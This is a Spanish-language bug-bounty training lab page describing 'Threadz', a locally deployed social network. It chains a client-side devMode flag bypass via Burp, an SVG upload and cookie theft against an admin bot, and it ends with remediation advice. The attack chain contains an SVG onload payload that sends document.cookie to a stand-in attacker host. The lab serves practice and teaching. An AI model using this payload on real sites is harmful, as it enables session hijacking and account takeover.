Client-Side Permission Bypass + SVG XSS + Cookie Theft
Red social tipo Threads donde un flag de devMode oculta la funcionalidad de subida de archivos. Activandolo via Burp se puede subir un SVG malicioso con JavaScript que roba la cookie de sesion del admin.
Aprende a encontrar este bug
Un reporte real de bug bounty, reproducido para que lo practiques.
Crea tu cuenta y practica bugs reales que se pagaron. Descarga el entorno, encuéntralo y aprende la técnica exacta — tu camino a tu primer bounty.
hunters entrenando
labs de reportes reales
completaciones
en bounties practicados
Acceso a todos los labs · sin permanencia · cancela cuando quieras
Hunters que lo han resuelto· 8
Objetivos
Logro que recibirás
Cuando resuelvas este lab desbloqueas este logro compartible
Client-Side Permission Bypass + SVG XSS + Cookie Theft
Writeups de la comunidad
Despliegue
# Opcion 1: autodeploy
./autodeploy.sh
# Opcion 2: manual
docker compose up --build
# Acceder
http://localhost:1600
Compatible con macOS, Linux y Windows (Docker Desktop / WSL).
Para parar:
./autodeploy.sh destroy
# o: docker compose down -v
Contenido del Lab
La aplicacion
Threadz es una red social con posts, feed publico y funcionalidades ocultas de desarrollo (upload SVG) protegidas solo por un flag del cliente.
La vulnerabilidad
La respuesta de login/register incluye devMode: false. El frontend oculta el boton de Upload si devMode es false. Modificando la respuesta a devMode: true, aparece la funcionalidad de subir SVGs. Los SVGs se renderizan con <object> (no <img>), permitiendo ejecucion de JavaScript. La cookie de auth NO es httpOnly, por lo que un SVG malicioso puede robarla.
Cadena de ataque
1. Registrarse → devMode: false
2. Burp Match & Replace: devMode.*false → devMode.*true
3. Subir SVG: <svg onload=\"fetch('https://attacker.com/'+document.cookie)\">
4. Admin bot visita el SVG → Cookie robada
5. Usar cookie del admin → Acceso total
6. Flag en el panel
Solucion interactiva
Accede a /writeup dentro de la aplicacion para una guia paso a paso con botones interactivos.
Remediacion
- Nunca usar flags del cliente para controlar acceso a funcionalidades
- Marcar cookies como httpOnly y Secure
- Sanitizar SVGs antes de renderizarlos
- Usar Content-Security-Policy para prevenir inline scripts
- Validar permisos de subida en el servidor